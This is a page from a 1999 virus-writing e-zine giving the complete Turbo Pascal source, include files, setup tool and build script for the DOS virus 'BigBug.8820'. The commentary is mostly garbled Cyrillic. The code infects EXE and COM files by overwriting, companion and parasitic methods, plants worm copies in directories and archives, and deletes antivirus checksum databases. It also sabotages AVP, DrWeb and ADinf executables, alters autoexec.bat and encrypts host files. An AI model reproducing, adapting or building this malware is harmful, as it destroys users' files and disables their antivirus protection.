- [Duke's Virus Labs #7] - [Page 11] -

BigBug.8820
(c) by Duke/SMF

     : BigBug.8820
   : Duke/SMF
 ண.   : Turbo Pascal 7.0
 ᮧ : 09.07.99

       祪 ᥬ ࠬ !  BigBug ਧ ⠢ 
ᨬ쭮 㤮⢨  ᮧ AV . 㬠,  ਤ  -
 ᮢ頥  ᥡ HLLC/HLLO/HLLP/HLLW  ࠦ 䠩 ⥬  
ᯮᮡ  ᨬ  砩 ᫠.   ४ਨ 
⢮ 䠩 ࠦ 4 ࠧ묨 ᯮᮡ !     
⢥ .   ⠫ 訢    , 
 ⠪ 稫  .  ᮪饭 ࠧ   ᫥ 㯠.

     ᭮,    ᨥ 㤮 த. HLL.* ? HLLP.* ?
 ਣ  BigBug ? 쪮 ஢ ஬孥   
HLLO ? ⠢ ਭ, ᯮ ;))

     ⠥ ࠧ EXE-䠩 쮭 ᯮᮡ, ᫨ 
COM-䠩 㦥 .

 ⥯  ४ :
~~~~~~~~~~~~~~~~~~~~~~~~~
- ࠦ EXE-䠩  ⥪饩 ४ਨ   ४ ࢮ
  ஢ 
-  ᨬ  砩 ᫠ ᮧ  ⥪饬 ᪥ COM/EXE-
   ࠦ RAR/ZIP/ARJ/LZH 娢 ⥪饩 ४ਨ
-  HLLP-ࠦ ࠭ ਡ   ᮧ 䠩
- stealth-堭 : । ᪮ 稢 .   ࠦ
  ⨢,    ⮢  饭   ᪮.
- 㭨⮦ CRC-䠩 ⨢ᮢ
-  砫 䠩,     ப "AVP", "DRWEB",
  "ADINF", 뢠 , १㦠騩   ᪥
- ஫  ࠦ 䠩. ᫨ 䠩 㦥 ࠦ   ᯮᮡ,
   ࠦ  㣨 ᯮᮡ   ஧ ;)
-  㣨  祩 ;-))))

 :
~~~~~~~~~~~~
-  ⭮ 1/50 ᮧ 䠩 c:\BigBug.txt  뢠 㤠 㭮

                           
                                      
                                            
                                               
                                      
                                               
                                                   
                                                 
                           


                                   
                                                   
                              
                                                
                                    

    c:\autoexec.bat 뢠  뢮 ⮣ 㭪  ࠭
-  ⭮ 1/60  ⢮ 横 뢮  ࠭ ப 'BigBug! '
- ᫨ ࠦ 䠫 饭  ࠬ஬ 'BigBug',   ᯨ஬
  뢮  ࠭ ࠧ梥 ⥪ :

Hello ! I'm BigBug virus, written by Duke/SMF special for DVL #7
You can say - "It's crazy !!!!". And you right ;-)) This is very
crazy virus. Why my name is BigBug ? Coz i'm REALLY BigBug !!!!!
HLL C/O/P/W in one ! Heheh....

- ᫨  窥 祣- 筥  -     ! :))

    ਢ  室 ⥪   ணࠬ setup ;)
 樨 ᮢ 짮 䠩 make.bat

===== begin bigbug.pas =====
{$M 10000, 3000, 10000}
program BigBug_Virus;
uses dos,crt;
const len = 8820;                { }
      MPos = 200;                { ⪨  䠩}
      metka:byte = $AE;          {   ⪨}
      VS = 16;                   {⢮ ப  ⨯}
      logo:array[1..VS] of string[80] = (

'                                                           ',
'                                                                     ',
'                                               ',
'                                                 ',
'                                                 ',
'                                                           ',
'                                                     ',
'                                                   ',
'                              ',
'                                                                               ',
'                                                                               ',
'                                   ',
'                                                         ',
'                                ',
'                                                      ',
'                                    ');

var f:file;                      {䠩  ᮬ}
    g:file;
    t:text;
    body:array[1..len] of byte;  {⥫ }
    host:array[1..len] of byte;  {᮪ ⥫ HLLP-}
    a,b:byte;
    WeNowIn:byte;                {   ᥩ 䠩}
    WormType:byte;               {⨯ ᮧ ࢥ: 0-䠩,1-娢}
    archive:boolean;             {ਧ ⮣,  諨 娢}
    ds:dirstr;
    ns:namestr;
    es:extstr;
    par:string;                  {ࠬ ᪠}
    companio:string;             { 䠩, ࠦ 쮭}
    NewName:string;              { ᮧ }
    Command:string;              {ப  COMSPEC}
    i:integer;
    attr:word;                   {ਡ 䠩}
    ComFind:boolean;             { ࠦ EXE   COM}
    Directory:byte;              { ४਩}
{$I hllw.inc}
{$I hllcop.inc}
{----------------------------------------------------------------------------}
function UpStr(st:string):string;
var d:string;
    i:byte;
begin
d:='';
for i:=1 to length(st) do d:=d+upcase(st[i]);
UpStr:=d;
end;
{-------------------------------------------------------------------------}
function CheckInfection(st:string):boolean;
var f:file;
    a:byte;
label Next;
begin
ComFind:=false;
CheckInfection:=false;
assign(f,st);reset(f,1);
if filesize(f)<len then begin close(f);goto Next;end;
seek(f,MPos);
blockread(f,a,1);
if a=metka then CheckInfection:=true;
close(f);
Next:
fsplit(st,ds,ns,es);
assign(f,ds+ns+'.COM');
{$I-}reset(f,1);{$I+}
if ioresult=0 then
  begin
  ComFind:=true;
  if filesize(f)<len then begin close(f);exit;end;
  seek(f,MPos);
  blockread(f,a,1);
  if a=metka then CheckInfection:=true;
  close(f);
  end;
end;
{-------------------------------------------------------------------------}
procedure ScanDir(Dir:string);
const kill:array[1..15] of string[12] =
      ('CHKLIST.CPS',
      'CHKLIST.MS',
      'CHKLIST.TAV',
      'ANTI-VIR.DAT',
      'ANTIVIR.DAT',
      'CRC.DAT',
      'AV.CRC',
      'AVP.CRC',
      'MSAV.CHK',
      'SMARTCHK.CPS',
      'CRC.SVS',
      'CRC_.SVS',
      'TBUTIL.DAT',
      'BOOT.MS',
      'BOOT.NTZ');
      reboot:array[1..2] of byte = ($CD,$18); {१稪}
var i:byte;
    f:file;
    s:searchrec;
    z:string;
    fn:string;           {  ४ਥ}
    p:string;            {ࠬ   娢}
label NextFile;
begin
findfirst(Dir+'*.*',$3f,s);
while doserror=0 do
  begin
{  writeln(s.name); }
  archive:=false;
  if copy(s.name,1,1)='.' then goto NextFile;
  if ((s.attr and $10)<>0) and (Directory=0) then
    begin
    Directory:=1;
    ScanDir(s.name+'\');
    Directory:=0;
    goto NextFile;
    end;
  z:=UpStr(s.name);
  fn:=Dir+s.name;
  for i:=1 to 15 do if pos(kill[i],z)<>0 then
    begin
    assign(f,fn);
    erase(f);
    goto NextFile;
    end;
  fsplit(z,ds,ns,es);
  if es='.EXE' then
    begin
    if (pos('ADINF',z)<>0) or (pos('AVP',z)<>0) or (pos('DRWEB',z)<>0) then
      begin
      assign(f,fn);
      setfattr(f,$20);
      reset(f,1);
      blockwrite(f,reboot,2);
      close(f);
      goto NextFile;
      end;
    CheckInfection(fn);
    case s.size of
         0..2700  : Infect_HLLO(fn);
      2701..len-1 : Infect_HLLC(fn);
      else begin
           if ComFind=true then i:=random(2)+1 else i:=random(3);
           case i of
             0 : Infect_HLLC(fn);
             1 : Infect_HLLO(fn);
             2 : Infect_HLLP(fn);
           end;
           end;
    end;
    goto NextFile;
    end;
    if (Directory=0) and (WormType=1) then
      begin
      if (es='RAR') or (es='ZIP') or (es='ARJ') or (es='LZH') then
        begin
        assign(f,s.name);
        getfattr(f,attr);
        setfattr(f,$20);
        MakeWorm('');
        p:='/c ';
        archive:=true;
        end;
      if es='RAR' then p:=p+'rar a -tk -y -c- -o+ ';
      if es='ZIP' then p:=p+'pkzip -a ';
      if es='ARJ' then p:=p+'arj a ';
      if es='LZH' then p:=p+'lha a ';
      if archive=true then
        begin
        p:=p+s.name+' '+NewName+'>nul';
        exec(Command,par); {뢠 }
        setfattr(f,attr);
        close(f);
        assign(f,NewName);
        erase(f);          {㤠塞 }
        end;
      end;
NextFile:
  findnext(s);
  end;
end;
{-------------------------------------------------------------------------}
procedure Out(color:integer;st:string); {뢮 ࠧ梥⭮ ⥪}
var i:byte;
begin
textcolor(color);
for i:=1 to length(st) do
  begin
  write(st[i]);
  sound(400);
  delay(700);
  nosound;
  end;
end;
{-------------------------------------------------------------------------}
procedure BigBug;
begin
asm
  mov ah,01h
  mov ch,32
  mov cl,3
  int 10h
end;
Out(11,'Hello ! I''m ');
Out(12,'BigBug ');
Out(11,'virus, written by ');
Out(10,'Duke/SMF ');
Out(11,'special for ');
Out(13,'DVL #7');
writeln;
Out(11,'You can say - ');
Out(9,'"It''s crazy !!!!"');
Out(11,'. And you right ');
Out(10,';-)) ');
Out(11,'This is very');
writeln;
Out(11,'crazy virus. Why my name is ');
Out(12,'BigBug ');
Out(11,'? Coz i''m ');
Out(9,'REALLY ');
Out(12,'BigBug ');
Out(11,'!!!!!');
writeln;
Out(11,'HLL C/O/P/W in one ! Heheh....');
textcolor(7);
writeln(' ');
asm
  mov ah,01h
  mov ch,7
  mov cl,8
  int 10h
end;
halt;
asm
  db 13,10,'[BigBug] v1.0 (c) by Duke/SMF',13,10
end;
end;
{Hello ! I'm BigBug virus, written by Duke/SMF special for DVL #7}
{You can say - "It's crazy !!!!". And you right ;-)) This is very}
{crazy virus. Why my name is BigBug ? Coz i'm REALLY BigBug !!!!!}
{HLL C/O/P/W in one ! Heheh....                                  }
{-------------------------------------------------------------------------}
begin
{--- 樨㥬 random- :}
Randomize;
{--- ⥭ ⥫   ஢ઠ ⨯ :}
assign(f,paramstr(0));reset(f,1);
blockread(f,body,len);
if filesize(f)<>len then
  begin
  seek(f,filesize(f)-len);
  blockread(f,a,1);
  blockread(f,b,1);
  if ((a=77) and (b=90)) or ((a=90) and (b=77)) {MZ}
    then WeNowIn:=2 else WeNowIn:=1;
  end
else
  begin
  fsplit(paramstr(0),ds,ns,es);
  if es='.COM' then
     begin
     companio:=ds+ns+'.EXE';
     assign(g,companio);
     {$I-}reset(g);{$I+}
     if ioresult<>0 then WeNowIn:=3 else begin close(g);WeNowIn:=0;end;
     end
  else WeNowIn:=1;
  end;
close(f);
{--- ᮧ  :}
WormType:=random(2);
if WormType=0 then Infect_HLLW else Command:=GetEnv('COMSPEC');
{--- ࠭ ࠬ஢ :}
if (WeNowIn=0) or (WeNowIn=2) then               {᫨  HLLC/HLLP}
  begin
  par:='';
  for i:=1 to paramcount do
    if paramstr(i)='BigBug' then BigBug else par:=paramstr(i)+' ';
  end;
{---   :}
Case WeNowIn of
  0 : Exec_HLLC;
  2 : Exec_HLLP;
  end;
{--- 맮 ᪠  :}
Directory:=0;
ScanDir('');
{---   :}
if random(50)=25 then
  begin
  assign(t,'c:\autoexec.bat');
  setfattr(t,$20);
  append(t);
  writeln(t,'');
  writeln(t,'@type c:\BigBug.txt');
  close(t);
  assign(t,'c:\BigBug.txt');
  rewrite(t);
  for i:=1 to VS do writeln(t,logo[i]);
  close(t);
  end;
if random(60)=30 then while 1<>2 do write('BigBug! ');
if (WeNowIn=1) or (WeNowIn=3) then writeln('Not enough memory');
end.
===== end   bigbug.pas =====

===== begin hllcop.inc =====
procedure Crypt(n:string);
const CS=2000;                              {ࠧ 㥬 ᪠}
var c:file;                                 {㥬 䠩}
    t:array[1..CS] of byte;                 {㥬 ᨢ}
    ch:byte;
begin
assign(c,n);
getfattr(c,attr);                           {࠭塞 ਡ}
setfattr(c,$20);
reset(c,1);
seek(c,200);                                {ਪ뢠 ந᪨ ᨫ}
blockread(c,ch,1);                          {  ᫥ 砫쭮 }
for i:=1 to 10 do                           { 樨 ஢ }
  begin
  seek(c,ch+1);
  blockread(c,ch,1);
  end;
seek(c,ch+300);
blockread(c,t,CS);                          {⠥ ᮪  ।}
for i:=1 to CS do t[i]:=t[i] xor 99;        {㥬  ᮪}
seek(c,ch+300);
blockwrite(c,t,CS);                         {뢠 ᮪}
close(c);
setfattr(c,attr);                           {頥 ਡ}
end;
{----------------------------------------------------------------------------}
procedure Exec_HLLC;
begin
Crypt(companio);                            {஢뢠 }
exec(companio,par);                         {᪠ }
Crypt(companio);                            {஢뢠 ⭮ :)}
end;
{----------------------------------------------------------------------------}
procedure Exec_HLLP;
begin
assign(f,paramstr(0));
getfattr(f,attr);                           {࠭塞 ਡ}
setfattr(f,$20);
reset(f,1);
seek(f,filesize(f)-len);
blockread(f,host,len);
seek(f,filesize(f)-len);
truncate(f);
seek(f,0);
blockwrite(f,host,len);
close(f);
exec(paramstr(0),par);
assign(f,paramstr(0));
reset(f,1);
blockwrite(f,body,len);
seek(f,filesize(f));
blockwrite(f,host,len);
close(f);
setfattr(f,attr);
end;
{----------------------------------------------------------------------------}
procedure Infect_HLLC(s:string);
var st:string;
begin
fsplit(s,ds,ns,es);
st:=ds+ns+'.COM';
assign(g,st);rewrite(g,1);                  {ᮧ 쮭}
blockwrite(g,body,len);                     {襬 }
close(g);
Crypt(s);                                   {㥬 }
end;
{----------------------------------------------------------------------------}
procedure Infect_HLLO(s:string);
begin
assign(f,s);
setfattr(f,$20);
rewrite(f,1);
blockwrite(f,body,len);
close(f);
end;
{----------------------------------------------------------------------------}
procedure Infect_HLLP(s:string);
var time:longint;
begin
assign(f,s);
getfattr(f,attr);
setfattr(f,$20);
reset(f,1);
getftime(f,time);
blockread(f,host,len);
seek(f,0);
blockwrite(f,body,len);
seek(f,filesize(f));
blockwrite(f,host,len);
setftime(f,time);
close(f);
setfattr(f,attr);
end;
===== end   hllcop.inc =====

===== begin hllw.inc =====
procedure MakeWorm(Dir:string);           {ᮧ   砩 }
var f:file;
    i,d,C:byte;
    M:integer;
begin
{--  }
d:=random(8)+1;
NewName:='';
for i:=1 to d do NewName:=NewName+chr(random(26)+97);
d:=random(255);
if d div 2 = d/2 then NewName:=NewName+'.com' else NewName:=NewName+'.exe';
{--  䠩}
NewName:=Dir+'\'+NewName;               {塞  ⥬}
assign(f,NewName);rewrite(f,1);
blockwrite(f,Body,Len);
close(f);
end;
{---------------------------------------------------------------------------}
procedure Infect_HLLW;
var Num:integer;       { 饩 ४ਨ}
    P:string;          { ४}
    Y:boolean;         {ਧ ⮣,  諨  㯨}
{---------------------------------------------------------------------------}
function SumDir(Dir:string):integer;        {⠥ - ४਩}
var N:searchrec;
    D:integer;
begin
D:=0;
Dir:=Dir+'\';
findfirst(Dir+'*.*',$3F,N);
while doserror=0 do
  begin
  with N do if (Attr and 16<>0) and (Name[1]<>'.') then D:=D+1;
  findnext(N);
  end;
SumDir:=D;
end;
{---------------------------------------------------------------------------}
procedure FindDir(var Dir:string;D:integer);       {᪠ 㦭 ४}
var N:searchrec;
    K:integer;
begin
if D=0 then Y:=true else
  begin
  K:=0;
  Dir:=Dir+'\';
  findfirst(Dir+'*.*',$3F,N);
  while doserror=0 do
    begin
    with N do if (Attr and 16<>0) and (Name[1]<>'.') then K:=K+1;
    if K=D then
       begin
       P:=P+N.name;
       exit;
       end;
    findnext(N);
    end;
  end;
end;
{---------------------------------------------------------------------------}
begin
P:=copy(fexpand(paramstr(0)),1,2);    {।  ᪠}
Y:=false;
while Y=false do
  begin
  Num:=random(SumDir(P));
  FindDir(P,Num);
  end;
MakeWorm(P);                          {ᮧ }
end;
===== end   hllw.inc =====

===== begin setup.pas =====
program BigBug_Setup;
const nope=3;
var i:integer;
    f:file;
    a:byte;
begin
writeln('Setup tool for BigBug v1.0 virus (c) by Duke/SMF');
if paramcount<>1 then
  begin
  writeln('Usage: setup.exe <bigbug.exe>');
  halt;
  end;
assign(f,paramstr(1));{$I-}reset(f,1);{$I+}
if ioresult<>0 then
  begin
  writeln('Virus file not found !');
  halt;
  end;
seek(f,filesize(f));
a:=0;
for i:=1 to nope do blockwrite(f,a,1);
close(f);
end.
===== end   setup.pas =====

===== begin make.bat =====
tpc bigbug.pas
apack bigbug.exe bigbug.exe
setup bigbug.exe
===== end   make.bat =====
